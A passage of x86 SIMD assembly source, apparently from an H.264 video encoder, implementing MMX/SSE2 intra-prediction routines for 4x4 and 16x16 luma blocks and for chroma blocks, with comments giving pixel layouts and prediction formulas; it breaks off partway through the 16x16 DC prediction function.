;%1 will keep the last result
%macro SSE_DB_1_2REG 2
pxor %1, %1
pcmpeqw %2, %2
psubb %1, %2
%endmacro
;xmm0, xmm1, xmm2, eax, ecx
;lower 64 bits of xmm0 save the result
%macro SSE2_PRED_H_4X4_TWO_LINE 5
movd %1, [%4-1]
movdqa %3, %1
punpcklbw %1, %3
movdqa %3, %1
punpcklbw %1, %3
;add %4, %5
movd %2, [%4+%5-1]
movdqa %3, %2
punpcklbw %2, %3
movdqa %3, %2
punpcklbw %2, %3
punpckldq %1, %2
%endmacro
%macro SUMW_HORIZON1 2
movdqa %2, %1
psrldq %2, 8
paddusw %1, %2
movdqa %2, %1
psrldq %2, 4
paddusw %1, %2
movdqa %2, %1
psrldq %2, 2
paddusw %1, %2
%endmacro
%macro LOAD_COLUMN 6
movd %1, [%5]
movd %2, [%5+%6]
punpcklbw %1, %2
lea %5, [%5+2*%6]
movd %3, [%5]
movd %2, [%5+%6]
punpcklbw %3, %2
punpcklwd %1, %3
lea %5, [%5+2*%6]
movd %4, [%5]
movd %2, [%5+%6]
punpcklbw %4, %2
lea %5, [%5+2*%6]
movd %3, [%5]
movd %2, [%5+%6]
lea %5, [%5+2*%6]
punpcklbw %3, %2
punpcklwd %4, %3
punpckhdq %1, %4
%endmacro
%macro SUMW_HORIZON 3
movhlps %2, %1 ; x2 = xx xx xx xx d7 d6 d5 d4
paddw %1, %2 ; x1 = xx xx xx xx d37 d26 d15 d04
punpcklwd %1, %3 ; x1 = d37 d26 d15 d04
movhlps %2, %1 ; x2 = xxxx xxxx d37 d26
paddd %1, %2 ; x1 = xxxx xxxx d1357 d0246
pshuflw %2, %1, 0x4e ; x2 = xxxx xxxx d0246 d1357
paddd %1, %2 ; x1 = xxxx xxxx xxxx d01234567
%endmacro
%macro COPY_16_TIMES 2
movdqa %2, [%1-16]
psrldq %2, 15
pmuludq %2, [mmx_01bytes]
pshufd %2, %2, 0
%endmacro
%macro COPY_16_TIMESS 3
movdqa %2, [%1+%3-16]
psrldq %2, 15
pmuludq %2, [mmx_01bytes]
pshufd %2, %2, 0
%endmacro
%macro LOAD_COLUMN_C 6
movd %1, [%5]
movd %2, [%5+%6]
punpcklbw %1,%2
lea %5, [%5+2*%6]
movd %3, [%5]
movd %2, [%5+%6]
punpcklbw %3, %2
punpckhwd %1, %3
lea %5, [%5+2*%6]
%endmacro
%macro LOAD_2_LEFT_AND_ADD 0
lea r1, [r1+2*r2]
movzx r4, byte [r1-0x01]
add r3, r4
movzx r4, byte [r1+r2-0x01]
add r3, r4
%endmacro
;***********************************************************************
; Code
;***********************************************************************
SECTION .text
;***********************************************************************
; void WelsI4x4LumaPredH_sse2(uint8_t *pred, uint8_t *pRef, int32_t stride)
;
; pred must align to 16
;***********************************************************************
WELS_EXTERN WelsI4x4LumaPredH_sse2
push r3
%assign push_num 1
LOAD_3_PARA
SIGN_EXTENSION r2, r2d
movzx r3, byte [r1-1]
movd xmm0, r3d
pmuludq xmm0, [mmx_01bytes]
movzx r3, byte [r1+r2-1]
movd xmm1, r3d
pmuludq xmm1, [mmx_01bytes]
unpcklps xmm0, xmm1
lea r1, [r1+r2*2]
movzx r3, byte [r1-1]
movd xmm2, r3d
pmuludq xmm2, [mmx_01bytes]
movzx r3, byte [r1+r2-1]
movd xmm3, r3d
pmuludq xmm3, [mmx_01bytes]
unpcklps xmm2, xmm3
unpcklpd xmm0, xmm2
movdqa [r0], xmm0
pop r3
ret
;***********************************************************************
; void WelsI16x16LumaPredPlane_sse2(uint8_t *pred, uint8_t *pRef, int32_t stride);
;***********************************************************************
WELS_EXTERN WelsI16x16LumaPredPlane_sse2
push r3
push r4
%assign push_num 2
LOAD_3_PARA
PUSH_XMM 8
SIGN_EXTENSION r2, r2d
sub r1, 1
sub r1, r2
;for H
pxor xmm7, xmm7
movq xmm0, [r1]
movdqa xmm5, [sse2_plane_dec]
punpcklbw xmm0, xmm7
pmullw xmm0, xmm5
movq xmm1, [r1 + 9]
movdqa xmm6, [sse2_plane_inc]
punpcklbw xmm1, xmm7
pmullw xmm1, xmm6
psubw xmm1, xmm0
SUMW_HORIZON xmm1,xmm0,xmm2
movd r3d, xmm1 ; H += (i + 1) * (top[8 + i] - top[6 - i]);
movsx r3, r3w
imul r3, 5
add r3, 32
sar r3, 6 ; b = (5 * H + 32) >> 6;
SSE2_Copy8Times xmm1, r3d ; xmm1 = b,b,b,b,b,b,b,b
movzx r4, BYTE [r1+16]
sub r1, 3
LOAD_COLUMN xmm0, xmm2, xmm3, xmm4, r1, r2
add r1, 3
movzx r3, BYTE [r1+8*r2]
add r4, r3
shl r4, 4 ; a = (left[15*stride] + top[15]) << 4;
sub r1, 3
add r1, r2
LOAD_COLUMN xmm7, xmm2, xmm3, xmm4, r1, r2
pxor xmm4, xmm4
punpckhbw xmm0, xmm4
pmullw xmm0, xmm5
punpckhbw xmm7, xmm4
pmullw xmm7, xmm6
psubw xmm7, xmm0
SUMW_HORIZON xmm7,xmm0,xmm2
movd r3d, xmm7 ; V
movsx r3, r3w
imul r3, 5
add r3, 32
sar r3, 6 ; c = (5 * V + 32) >> 6;
SSE2_Copy8Times xmm4, r3d ; xmm4 = c,c,c,c,c,c,c,c
add r4, 16
imul r3, -7
add r3, r4 ; s = a + 16 + (-7)*c
SSE2_Copy8Times xmm0, r3d ; xmm0 = s,s,s,s,s,s,s,s
xor r3, r3
movdqa xmm5, [sse2_plane_inc_minus]
get_i16x16_luma_pred_plane_sse2_1:
movdqa xmm2, xmm1
pmullw xmm2, xmm5
paddw xmm2, xmm0
psraw xmm2, 5
movdqa xmm3, xmm1
pmullw xmm3, xmm6
paddw xmm3, xmm0
psraw xmm3, 5
packuswb xmm2, xmm3
movdqa [r0], xmm2
paddw xmm0, xmm4
add r0, 16
inc r3
cmp r3, 16
jnz get_i16x16_luma_pred_plane_sse2_1
POP_XMM
pop r4
pop r3
ret
;***********************************************************************
; void WelsIChromaPredPlane_sse2(uint8_t *pred, uint8_t *pRef, int32_t stride);
;***********************************************************************
WELS_EXTERN WelsIChromaPredPlane_sse2
push r3
push r4
%assign push_num 2
LOAD_3_PARA
PUSH_XMM 8
SIGN_EXTENSION r2, r2d
sub r1, 1
sub r1, r2
pxor mm7, mm7
movq mm0, [r1]
movq mm5, [sse2_plane_dec_c]
punpcklbw mm0, mm7
pmullw mm0, mm5
movq mm1, [r1 + 5]
movq mm6, [sse2_plane_inc_c]
punpcklbw mm1, mm7
pmullw mm1, mm6
psubw mm1, mm0
movq2dq xmm1, mm1
pxor xmm2, xmm2
SUMW_HORIZON xmm1,xmm0,xmm2
movd r3d, xmm1
movsx r3, r3w
imul r3, 17
add r3, 16
sar r3, 5 ; b = (17 * H + 16) >> 5;
SSE2_Copy8Times xmm1, r3d ; mm1 = b,b,b,b,b,b,b,b
movzx r3, BYTE [r1+8]
sub r1, 3
LOAD_COLUMN_C mm0, mm2, mm3, mm4, r1, r2
add r1, 3
movzx r4, BYTE [r1+4*r2]
add r4, r3
shl r4, 4 ; a = (left[7*stride] + top[7]) << 4;
sub r1, 3
add r1, r2
LOAD_COLUMN_C mm7, mm2, mm3, mm4, r1, r2
pxor mm4, mm4
punpckhbw mm0, mm4
pmullw mm0, mm5
punpckhbw mm7, mm4
pmullw mm7, mm6
psubw mm7, mm0
movq2dq xmm7, mm7
pxor xmm2, xmm2
SUMW_HORIZON xmm7,xmm0,xmm2
movd r3d, xmm7 ; V
movsx r3, r3w
imul r3, 17
add r3, 16
sar r3, 5 ; c = (17 * V + 16) >> 5;
SSE2_Copy8Times xmm4, r3d ; mm4 = c,c,c,c,c,c,c,c
add r4, 16
imul r3, -3
add r3, r4 ; s = a + 16 + (-3)*c
SSE2_Copy8Times xmm0, r3d ; xmm0 = s,s,s,s,s,s,s,s
xor r3, r3
movdqa xmm5, [sse2_plane_mul_b_c]
get_i_chroma_pred_plane_sse2_1:
movdqa xmm2, xmm1
pmullw xmm2, xmm5
paddw xmm2, xmm0
psraw xmm2, 5
packuswb xmm2, xmm2
movq [r0], xmm2
paddw xmm0, xmm4
add r0, 8
inc r3
cmp r3, 8
jnz get_i_chroma_pred_plane_sse2_1
POP_XMM
pop r4
pop r3
WELSEMMS
ret
;***********************************************************************
; 0 |1 |2 |3 |4 |
; 6 |7 |8 |9 |10|
; 11|12|13|14|15|
; 16|17|18|19|20|
; 21|22|23|24|25|
; 7 is the start pixel of current 4x4 block
; pred[7] = ([6]+[0]*2+[1]+2)/4
;
; void WelsI4x4LumaPredDDR_mmx(uint8_t *pred,uint8_t *pRef,int32_t stride)
;
;***********************************************************************
WELS_EXTERN WelsI4x4LumaPredDDR_mmx
%assign push_num 0
LOAD_3_PARA
SIGN_EXTENSION r2, r2d
movq mm1,[r1+r2-8] ;get value of 11,decreasing 8 is trying to improve the performance of movq mm1[8] = 11
movq mm2,[r1-8] ;get value of 6 mm2[8] = 6
sub r1, r2 ;mov eax to above line of current block(postion of 1)
punpckhbw mm2,[r1-8] ;mm2[8](high 8th byte of mm2) = [0](value of 0), mm2[7]= [6]
movd mm3,[r1] ;get value 1, mm3[1] = [1],mm3[2]=[2],mm3[3]=[3]
punpckhwd mm1,mm2 ;mm1[8]=[0],mm1[7]=[6],mm1[6]=[11]
psllq mm3,18h ;mm3[5]=[1]
psrlq mm1,28h ;mm1[3]=[0],mm1[2]=[6],mm1[1]=[11]
por mm3,mm1 ;mm3[6]=[3],mm3[5]=[2],mm3[4]=[1],mm3[3]=[0],mm3[2]=[6],mm3[1]=[11]
movq mm1,mm3 ;mm1[6]=[3],mm1[5]=[2],mm1[4]=[1],mm1[3]=[0],mm1[2]=[6],mm1[1]=[11]
lea r1,[r1+r2*2-8h] ;set eax point to 12
movq mm4,[r1+r2] ;get value of 16, mm4[8]=[16]
psllq mm3,8 ;mm3[7]=[3],mm3[6]=[2],mm3[5]=[1],mm3[4]=[0],mm3[3]=[6],mm3[2]=[11],mm3[1]=0
psrlq mm4,38h ;mm4[1]=[16]
por mm3,mm4 ;mm3[7]=[3],mm3[6]=[2],mm3[5]=[1],mm3[4]=[0],mm3[3]=[6],mm3[2]=[11],mm3[1]=[16]
movq mm2,mm3 ;mm2[7]=[3],mm2[6]=[2],mm2[5]=[1],mm2[4]=[0],mm2[3]=[6],mm2[2]=[11],mm2[1]=[16]
movq mm4,[r1+r2*2] ;mm4[8]=[21]
psllq mm3,8 ;mm3[8]=[3],mm3[7]=[2],mm3[6]=[1],mm3[5]=[0],mm3[4]=[6],mm3[3]=[11],mm3[2]=[16],mm3[1]=0
psrlq mm4,38h ;mm4[1]=[21]
por mm3,mm4 ;mm3[8]=[3],mm3[7]=[2],mm3[6]=[1],mm3[5]=[0],mm3[4]=[6],mm3[3]=[11],mm3[2]=[16],mm3[1]=[21]
movq mm4,mm3 ;mm4[8]=[3],mm4[7]=[2],mm4[6]=[1],mm4[5]=[0],mm4[4]=[6],mm4[3]=[11],mm4[2]=[16],mm4[1]=[21]
pavgb mm3,mm1 ;mm3=([11]+[21]+1)/2
pxor mm1,mm4 ;find odd value in the lowest bit of each byte
pand mm1,[mmx_01bytes] ;set the odd bit
psubusb mm3,mm1 ;decrease 1 from odd bytes
pavgb mm2,mm3 ;mm2=(([11]+[21]+1)/2+1+[16])/2
movd [r0+12],mm2
psrlq mm2,8
movd [r0+8],mm2
psrlq mm2,8
movd [r0+4],mm2
psrlq mm2,8
movd [r0],mm2
WELSEMMS
ret
;***********************************************************************
; 0 |1 |2 |3 |4 |
; 5 |6 |7 |8 |9 |
; 10|11|12|13|14|
; 15|16|17|18|19|
; 20|21|22|23|24|
; 6 is the start pixel of current 4x4 block
; pred[6] = ([1]+[2]+[3]+[4]+[5]+[10]+[15]+[20]+4)/8
;
; void WelsI4x4LumaPredDc_sse2(uint8_t *pred,uint8_t *pRef,int32_t stride)
;
;***********************************************************************
WELS_EXTERN WelsI4x4LumaPredDc_sse2
push r3
push r4
%assign push_num 2
LOAD_3_PARA
SIGN_EXTENSION r2, r2d
movzx r4, byte [r1-1h]
sub r1, r2
movd xmm0, [r1]
pxor xmm1, xmm1
psadbw xmm0, xmm1
xor r3, r3
movd r3d, xmm0
add r3, r4
movzx r4, byte [r1+r2*2-1h]
add r3, r4
lea r1, [r1+r2*2-1]
movzx r4, byte [r1+r2]
add r3, r4
movzx r4, byte [r1+r2*2]
add r3, r4
add r3, 4
sar r3, 3
imul r3, 0x01010101
movd xmm0, r3d
pshufd xmm0, xmm0, 0
movdqa [r0], xmm0
pop r4
pop r3
ret
;***********************************************************************
; void WelsIChromaPredH_mmx(uint8_t *pred, uint8_t *pRef, int32_t stride)
; copy 8 pixel of 8 line from left
;***********************************************************************
%macro MMX_PRED_H_8X8_ONE_LINE 4
movq %1, [%3-8]
psrlq %1, 38h
;pmuludq %1, [mmx_01bytes] ;extend to 4 bytes
pmullw %1, [mmx_01bytes]
pshufw %1, %1, 0
movq [%4], %1
%endmacro
%macro MMX_PRED_H_8X8_ONE_LINEE 4
movq %1, [%3+r2-8]
psrlq %1, 38h
;pmuludq %1, [mmx_01bytes] ;extend to 4 bytes
pmullw %1, [mmx_01bytes]
pshufw %1, %1, 0
movq [%4], %1
%endmacro
WELS_EXTERN WelsIChromaPredH_mmx
%assign push_num 0
LOAD_3_PARA
SIGN_EXTENSION r2, r2d
movq mm0, [r1-8]
psrlq mm0, 38h
;pmuludq mm0, [mmx_01bytes] ;extend to 4 bytes
pmullw mm0, [mmx_01bytes]
pshufw mm0, mm0, 0
movq [r0], mm0
MMX_PRED_H_8X8_ONE_LINEE mm0, mm1, r1,r0+8
lea r1,[r1+r2*2]
MMX_PRED_H_8X8_ONE_LINE mm0, mm1, r1,r0+16
MMX_PRED_H_8X8_ONE_LINEE mm0, mm1, r1,r0+24
lea r1,[r1+r2*2]
MMX_PRED_H_8X8_ONE_LINE mm0, mm1, r1,r0+32
MMX_PRED_H_8X8_ONE_LINEE mm0, mm1, r1,r0+40
lea r1,[r1+r2*2]
MMX_PRED_H_8X8_ONE_LINE mm0, mm1, r1,r0+48
MMX_PRED_H_8X8_ONE_LINEE mm0, mm1, r1,r0+56
WELSEMMS
ret
;***********************************************************************
; void WelsI4x4LumaPredV_sse2(uint8_t *pred, uint8_t *pRef, int32_t stride)
; copy pixels from top 4 pixels
;***********************************************************************
WELS_EXTERN WelsI4x4LumaPredV_sse2
%assign push_num 0
LOAD_3_PARA
SIGN_EXTENSION r2, r2d
sub r1, r2
movd xmm0, [r1]
pshufd xmm0, xmm0, 0
movdqa [r0], xmm0
ret
;***********************************************************************
; void WelsIChromaPredV_sse2(uint8_t *pred, uint8_t *pRef, int32_t stride)
; copy 8 pixels from top 8 pixels
;***********************************************************************
WELS_EXTERN WelsIChromaPredV_sse2
%assign push_num 0
LOAD_3_PARA
SIGN_EXTENSION r2, r2d
sub r1, r2
movq xmm0, [r1]
movdqa xmm1, xmm0
punpcklqdq xmm0, xmm1
movdqa [r0], xmm0
movdqa [r0+16], xmm0
movdqa [r0+32], xmm0
movdqa [r0+48], xmm0
ret
;***********************************************************************
; lt|t0|t1|t2|t3|
; l0|
; l1|
; l2|
; l3|
; t3 will never been used
; destination:
; |a |b |c |d |
; |e |f |a |b |
; |g |h |e |f |
; |i |j |g |h |
; a = (1 + lt + l0)>>1
; e = (1 + l0 + l1)>>1
; g = (1 + l1 + l2)>>1
; i = (1 + l2 + l3)>>1
; d = (2 + t0 + (t1<<1) + t2)>>2
; c = (2 + lt + (t0<<1) + t1)>>2
; b = (2 + l0 + (lt<<1) + t0)>>2
; f = (2 + l1 + (l0<<1) + lt)>>2
; h = (2 + l2 + (l1<<1) + l0)>>2
; j = (2 + l3 + (l2<<1) + l1)>>2
; [b a f e h g j i] + [d c b a] --> mov to memory
;
; void WelsI4x4LumaPredHD_mmx(uint8_t *pred,uint8_t *pRef,int32_t stride)
;***********************************************************************
WELS_EXTERN WelsI4x4LumaPredHD_mmx
%assign push_num 0
LOAD_3_PARA
SIGN_EXTENSION r2, r2d
sub r1, r2
movd mm0, [r1-1] ; mm0 = [xx xx xx xx t2 t1 t0 lt]
psllq mm0, 20h ; mm0 = [t2 t1 t0 lt xx xx xx xx]
movd mm1, [r1+2*r2-4]
punpcklbw mm1, [r1+r2-4] ; mm1[7] = l0, mm1[6] = l1
lea r1, [r1+2*r2]
movd mm2, [r1+2*r2-4]
punpcklbw mm2, [r1+r2-4] ; mm2[7] = l2, mm2[6] = l3
punpckhwd mm2, mm1 ; mm2 = [l0 l1 l2 l3 xx xx xx xx]
psrlq mm2, 20h
pxor mm0, mm2 ; mm0 = [t2 t1 t0 lt l0 l1 l2 l3]
movq mm1, mm0
psrlq mm1, 10h ; mm1 = [xx xx t2 t1 t0 lt l0 l1]
movq mm2, mm0
psrlq mm2, 8h ; mm2 = [xx t2 t1 t0 lt l0 l1 l2]
movq mm3, mm2
movq mm4, mm1
pavgb mm1, mm0
pxor mm4, mm0 ; find odd value in the lowest bit of each byte
pand mm4, [mmx_01bytes] ; set the odd bit
psubusb mm1, mm4 ; decrease 1 from odd bytes
pavgb mm2, mm1 ; mm2 = [xx xx d c b f h j]
movq mm4, mm0
pavgb mm3, mm4 ; mm3 = [xx xx xx xx a e g i]
punpcklbw mm3, mm2 ; mm3 = [b a f e h g j i]
psrlq mm2, 20h
psllq mm2, 30h ; mm2 = [d c 0 0 0 0 0 0]
movq mm4, mm3
psrlq mm4, 10h ; mm4 = [0 0 b a f e h j]
pxor mm2, mm4 ; mm2 = [d c b a xx xx xx xx]
psrlq mm2, 20h ; mm2 = [xx xx xx xx d c b a]
movd [r0], mm2
movd [r0+12], mm3
psrlq mm3, 10h
movd [r0+8], mm3
psrlq mm3, 10h
movd [r0+4], mm3
WELSEMMS
ret
;***********************************************************************
; lt|t0|t1|t2|t3|
; l0|
; l1|
; l2|
; l3|
; t3 will never been used
; destination:
; |a |b |c |d |
; |c |d |e |f |
; |e |f |g |g |
; |g |g |g |g |
; a = (1 + l0 + l1)>>1
; c = (1 + l1 + l2)>>1
; e = (1 + l2 + l3)>>1
; g = l3
; b = (2 + l0 + (l1<<1) + l2)>>2
; d = (2 + l1 + (l2<<1) + l3)>>2
; f = (2 + l2 + (l3<<1) + l3)>>2
; [g g f e d c b a] + [g g g g] --> mov to memory
;
; void WelsI4x4LumaPredHU_mmx(uint8_t *pred,uint8_t *pRef,int32_t stride)
;***********************************************************************
WELS_EXTERN WelsI4x4LumaPredHU_mmx
%assign push_num 0
LOAD_3_PARA
SIGN_EXTENSION r2, r2d
movd mm0, [r1-4] ; mm0[3] = l0
punpcklbw mm0, [r1+r2-4] ; mm0[7] = l1, mm0[6] = l0
lea r1, [r1+2*r2]
movd mm2, [r1-4] ; mm2[3] = l2
movd mm4, [r1+r2-4] ; mm4[3] = l3
punpcklbw mm2, mm4
punpckhwd mm0, mm2 ; mm0 = [l3 l2 l1 l0 xx xx xx xx]
psrlq mm4, 18h
psllq mm4, 38h ; mm4 = [l3 xx xx xx xx xx xx xx]
psrlq mm0, 8h
pxor mm0, mm4 ; mm0 = [l3 l3 l2 l1 l0 xx xx xx]
movq mm1, mm0
psllq mm1, 8h ; mm1 = [l3 l2 l1 l0 xx xx xx xx]
movq mm3, mm1 ; mm3 = [l3 l2 l1 l0 xx xx xx xx]
pavgb mm1, mm0 ; mm1 = [g e c a xx xx xx xx]
movq mm2, mm0
psllq mm2, 10h ; mm2 = [l2 l1 l0 xx xx xx xx xx]
movq mm5, mm2
pavgb mm2, mm0
pxor mm5, mm0 ; find odd value in the lowest bit of each byte
pand mm5, [mmx_01bytes] ; set the odd bit
psubusb mm2, mm5 ; decrease 1 from odd bytes
pavgb mm2, mm3 ; mm2 = [f d b xx xx xx xx xx]
psrlq mm2, 8h
pxor mm2, mm4 ; mm2 = [g f d b xx xx xx xx]
punpckhbw mm1, mm2 ; mm1 = [g g f e d c b a]
punpckhbw mm4, mm4 ; mm4 = [g g xx xx xx xx xx xx]
punpckhbw mm4, mm4 ; mm4 = [g g g g xx xx xx xx]
psrlq mm4, 20h
movd [r0+12], mm4
movd [r0], mm1
psrlq mm1, 10h
movd [r0+4], mm1
psrlq mm1, 10h
movd [r0+8], mm1
WELSEMMS
ret
;***********************************************************************
; lt|t0|t1|t2|t3|
; l0|
; l1|
; l2|
; l3|
; l3 will never been used
; destination:
; |a |b |c |d |
; |e |f |g |h |
; |i |a |b |c |
; |j |e |f |g |
; a = (1 + lt + t0)>>1
; b = (1 + t0 + t1)>>1
; c = (1 + t1 + t2)>>1
; d = (1 + t2 + t3)>>1
; e = (2 + l0 + (lt<<1) + t0)>>2
; f = (2 + lt + (t0<<1) + t1)>>2
; g = (2 + t0 + (t1<<1) + t2)>>2
; h = (2 + t1 + (t2<<1) + t3)>>2
; i = (2 + lt + (l0<<1) + l1)>>2
; j = (2 + l0 + (l1<<1) + l2)>>2
;
; void WelsI4x4LumaPredVR_mmx(uint8_t *pred,uint8_t *pRef,int32_t stride)
;***********************************************************************
WELS_EXTERN WelsI4x4LumaPredVR_mmx
%assign push_num 0
LOAD_3_PARA
SIGN_EXTENSION r2, r2d
sub r1, r2
movq mm0, [r1-1] ; mm0 = [xx xx xx t3 t2 t1 t0 lt]
psllq mm0, 18h ; mm0 = [t3 t2 t1 t0 lt xx xx xx]
movd mm1, [r1+2*r2-4]
punpcklbw mm1, [r1+r2-4] ; mm1[7] = l0, mm1[6] = l1
lea r1, [r1+2*r2]
movq mm2, [r1+r2-8] ; mm2[7] = l2
punpckhwd mm2, mm1 ; mm2 = [l0 l1 l2 xx xx xx xx xx]
psrlq mm2, 28h
pxor mm0, mm2 ; mm0 = [t3 t2 t1 t0 lt l0 l1 l2]
movq mm1, mm0
psllq mm1, 8h ; mm1 = [t2 t1 t0 lt l0 l1 l2 xx]
pavgb mm1, mm0 ; mm1 = [d c b a xx xx xx xx]
movq mm2, mm0
psllq mm2, 10h ; mm2 = [t1 t0 lt l0 l1 l2 xx xx]
movq mm3, mm2
pavgb mm2, mm0
pxor mm3, mm0 ; find odd value in the lowest bit of each byte
pand mm3, [mmx_01bytes] ; set the odd bit
psubusb mm2, mm3 ; decrease 1 from odd bytes
movq mm3, mm0
psllq mm3, 8h ; mm3 = [t2 t1 t0 lt l0 l1 l2 xx]
pavgb mm3, mm2 ; mm3 = [h g f e i j xx xx]
movq mm2, mm3
psrlq mm1, 20h ; mm1 = [xx xx xx xx d c b a]
movd [r0], mm1
psrlq mm2, 20h ; mm2 = [xx xx xx xx h g f e]
movd [r0+4], mm2
movq mm4, mm3
psllq mm4, 20h
psrlq mm4, 38h ; mm4 = [xx xx xx xx xx xx xx i]
movq mm5, mm3
psllq mm5, 28h
psrlq mm5, 38h ; mm5 = [xx xx xx xx xx xx xx j]
psllq mm1, 8h
pxor mm4, mm1 ; mm4 = [xx xx xx xx c b a i]
movd [r0+8], mm4
psllq mm2, 8h
pxor mm5, mm2 ; mm5 = [xx xx xx xx g f e j]
movd [r0+12], mm5
WELSEMMS
ret
;***********************************************************************
; lt|t0|t1|t2|t3|t4|t5|t6|t7
; l0|
; l1|
; l2|
; l3|
; lt,t0,t1,t2,t3 will never been used
; destination:
; |a |b |c |d |
; |b |c |d |e |
; |c |d |e |f |
; |d |e |f |g |
; a = (2 + t0 + t2 + (t1<<1))>>2
; b = (2 + t1 + t3 + (t2<<1))>>2
; c = (2 + t2 + t4 + (t3<<1))>>2
; d = (2 + t3 + t5 + (t4<<1))>>2
; e = (2 + t4 + t6 + (t5<<1))>>2
; f = (2 + t5 + t7 + (t6<<1))>>2
; g = (2 + t6 + t7 + (t7<<1))>>2
; [g f e d c b a] --> mov to memory
;
; void WelsI4x4LumaPredDDL_mmx(uint8_t *pred,uint8_t *pRef,int32_t stride)
;***********************************************************************
WELS_EXTERN WelsI4x4LumaPredDDL_mmx
%assign push_num 0
LOAD_3_PARA
SIGN_EXTENSION r2, r2d
sub r1, r2
movq mm0, [r1] ; mm0 = [t7 t6 t5 t4 t3 t2 t1 t0]
movq mm1, mm0
movq mm2, mm0
movq mm3, mm0
psrlq mm3, 38h
psllq mm3, 38h ; mm3 = [t7 xx xx xx xx xx xx xx]
psllq mm1, 8h ; mm1 = [t6 t5 t4 t3 t2 t1 t0 xx]
psrlq mm2, 8h
pxor mm2, mm3 ; mm2 = [t7 t7 t6 t5 t4 t3 t2 t1]
movq mm3, mm1
pavgb mm1, mm2
pxor mm3, mm2 ; find odd value in the lowest bit of each byte
pand mm3, [mmx_01bytes] ; set the odd bit
psubusb mm1, mm3 ; decrease 1 from odd bytes
pavgb mm0, mm1 ; mm0 = [g f e d c b a xx]
psrlq mm0, 8h
movd [r0], mm0
psrlq mm0, 8h
movd [r0+4], mm0
psrlq mm0, 8h
movd [r0+8], mm0
psrlq mm0, 8h
movd [r0+12], mm0
WELSEMMS
ret
;***********************************************************************
; lt|t0|t1|t2|t3|t4|t5|t6|t7
; l0|
; l1|
; l2|
; l3|
; lt,t0,t1,t2,t3 will never been used
; destination:
; |a |b |c |d |
; |e |f |g |h |
; |b |c |d |i |
; |f |g |h |j |
; a = (1 + t0 + t1)>>1
; b = (1 + t1 + t2)>>1
; c = (1 + t2 + t3)>>1
; d = (1 + t3 + t4)>>1
; i = (1 + t4 + t5)>>1
; e = (2 + t0 + (t1<<1) + t2)>>2
; f = (2 + t1 + (t2<<1) + t3)>>2
; g = (2 + t2 + (t3<<1) + t4)>>2
; h = (2 + t3 + (t4<<1) + t5)>>2
; j = (2 + t4 + (t5<<1) + t6)>>2
; [i d c b a] + [j h g f e] --> mov to memory
;
; void WelsI4x4LumaPredVL_mmx(uint8_t *pred,uint8_t *pRef,int32_t stride)
;***********************************************************************
WELS_EXTERN WelsI4x4LumaPredVL_mmx
%assign push_num 0
LOAD_3_PARA
SIGN_EXTENSION r2, r2d
sub r1, r2
movq mm0, [r1] ; mm0 = [t7 t6 t5 t4 t3 t2 t1 t0]
movq mm1, mm0
movq mm2, mm0
psrlq mm1, 8h ; mm1 = [xx t7 t6 t5 t4 t3 t2 t1]
psrlq mm2, 10h ; mm2 = [xx xx t7 t6 t5 t4 t3 t2]
movq mm3, mm1
pavgb mm3, mm0 ; mm3 = [xx xx xx i d c b a]
movq mm4, mm2
pavgb mm2, mm0
pxor mm4, mm0 ; find odd value in the lowest bit of each byte
pand mm4, [mmx_01bytes] ; set the odd bit
psubusb mm2, mm4 ; decrease 1 from odd bytes
pavgb mm2, mm1 ; mm2 = [xx xx xx j h g f e]
movd [r0], mm3
psrlq mm3, 8h
movd [r0+8], mm3
movd [r0+4], mm2
psrlq mm2, 8h
movd [r0+12], mm2
WELSEMMS
ret
;***********************************************************************
;
; void WelsIChromaPredDc_sse2(uint8_t *pred, uint8_t *pRef, int32_t stride)
;***********************************************************************
WELS_EXTERN WelsIChromaPredDc_sse2
push r3
push r4
%assign push_num 2
LOAD_3_PARA
SIGN_EXTENSION r2, r2d
sub r1, r2
movq mm0, [r1]
movzx r3, byte [r1+r2-0x01] ; l1
lea r1, [r1+2*r2]
movzx r4, byte [r1-0x01] ; l2
add r3, r4
movzx r4, byte [r1+r2-0x01] ; l3
add r3, r4
lea r1, [r1+2*r2]
movzx r4, byte [r1-0x01] ; l4
add r3, r4
movd mm1, r3d ; mm1 = l1+l2+l3+l4
movzx r3, byte [r1+r2-0x01] ; l5
lea r1, [r1+2*r2]
movzx r4, byte [r1-0x01] ; l6
add r3, r4
movzx r4, byte [r1+r2-0x01] ; l7
add r3, r4
lea r1, [r1+2*r2]
movzx r4, byte [r1-0x01] ; l8
add r3, r4
movd mm2, r3d ; mm2 = l5+l6+l7+l8
movq mm3, mm0
psrlq mm0, 0x20
psllq mm3, 0x20
psrlq mm3, 0x20
pxor mm4, mm4
psadbw mm0, mm4
psadbw mm3, mm4 ; sum1 = mm3+mm1, sum2 = mm0, sum3 = mm2
paddq mm3, mm1
movq mm1, mm2
paddq mm1, mm0; ; sum1 = mm3, sum2 = mm0, sum3 = mm2, sum4 = mm1
movq mm4, [mmx_0x02]
paddq mm0, mm4
psrlq mm0, 0x02
paddq mm2, mm4
psrlq mm2, 0x02
paddq mm3, mm4
paddq mm3, mm4
psrlq mm3, 0x03
paddq mm1, mm4
paddq mm1, mm4
psrlq mm1, 0x03
pmuludq mm0, [mmx_01bytes]
pmuludq mm3, [mmx_01bytes]
psllq mm0, 0x20
pxor mm0, mm3 ; mm0 = m_up
pmuludq mm2, [mmx_01bytes]
pmuludq mm1, [mmx_01bytes]
psllq mm1, 0x20
pxor mm1, mm2 ; mm2 = m_down
movq [r0], mm0
movq [r0+0x08], mm0
movq [r0+0x10], mm0
movq [r0+0x18], mm0
movq [r0+0x20], mm1
movq [r0+0x28], mm1
movq [r0+0x30], mm1
movq [r0+0x38], mm1
pop r4
pop r3
WELSEMMS
ret
;***********************************************************************
;
; void WelsI16x16LumaPredDc_sse2(uint8_t *pred, uint8_t *pRef, int32_t stride)
;***********************************************************************
WELS_EXTERN WelsI16x16LumaPredDc_sse2
push r3
push r4
%assign push_num 2
LOAD_3_PARA
SIGN_EXTENSION r2, r2d
sub r1, r2
movdqa xmm0, [r1] ; read one row
pxor xmm1, xmm1
psadbw xmm0, xmm1
movdqa xmm1, xmm0
psrldq xmm1, 0x08
pslldq xmm0, 0x08
psrldq xmm0, 0x08
paddw xmm0, xmm1
movzx r3, byte [r1+r2-0x01]
movzx r4, byte [r1+2*r2-0x01]
add r3, r4
lea r1, [r1+r2]
LOAD_2_LEFT_AND_ADD
LOAD_2_LEFT_AND_ADD
LOAD_2_LEFT_AND_ADD
LOAD_2_LEFT_AND_ADD
LOAD_2_LEFT_AND_ADD
LOAD_2_LEFT_AND_ADD
LOAD_2_LEFT_AND_ADD
add r3, 0x10
movd xmm1, r3d
paddw xmm0, xmm1
